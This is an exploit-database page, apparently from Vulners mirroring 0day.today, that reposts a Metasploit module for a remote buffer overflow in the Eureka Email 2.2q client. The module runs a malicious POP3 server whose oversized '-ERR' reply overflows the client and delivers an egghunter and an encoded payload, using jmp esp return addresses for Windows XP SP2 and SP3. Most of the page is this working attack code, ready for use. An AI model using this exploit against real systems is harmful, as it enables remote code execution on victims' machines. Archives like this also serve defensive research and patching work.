Lucene search
K

Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)

🗓️ 09 Dec 2009 00:00:00Reported by Francis ProvencherType 
zdt
 zdt
🔗 0day.today👁 21 Views

Eureka Email 2.2q ERR Buffer Overflow Exploi

Code
===========================================================
Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)
===========================================================


# Title: Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Francis Provencher Dr_IDE dookie
# Published: 2009-12-09
# Verified: yes

view source
print?
class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking
 
        include Msf::Exploit::Remote::TcpServer
        include Msf::Exploit::Egghunter
 
        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
                        'Description'    => %q{
                                This module exploits a buffer overflow in the Eureka Email 2.2q
                                client that is triggered through an excessively long ERR message.
                        },
                        'Author'         => [ 'Dr_IDE', ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 7724 $',
                        'References'     =>
                                [
                                        [ 'URL', 'http://inj3ct0r.com' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'seh',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 2000,
                                        'BadChars' => "\x00\x0a\x0d\x20",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
                                        [ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
                                ],
                        'Privileged'     => false,
                        'DefaultTarget'  => 0))
 
                register_options(
                        [
                                OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
                        ], self.class)
        end
 
        def on_client_connect(client)
                return if ((p = regenerate_payload(client)) == nil)
 
                # Unleash the Egghunter!
                eh_stub, eh_egg = generate_egghunter
 
                buffer =  "-ERR "
                buffer << rand_text_alpha_upper(710)
                buffer << [target.ret].pack('V')
                buffer << make_nops(10)
                buffer << eh_stub
                buffer << make_nops(200)
                buffer << rand_text_alpha_upper(2000)
                buffer << eh_egg * 2
                buffer << payload.encoded
                client.put(buffer)
        end
 
end



#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
21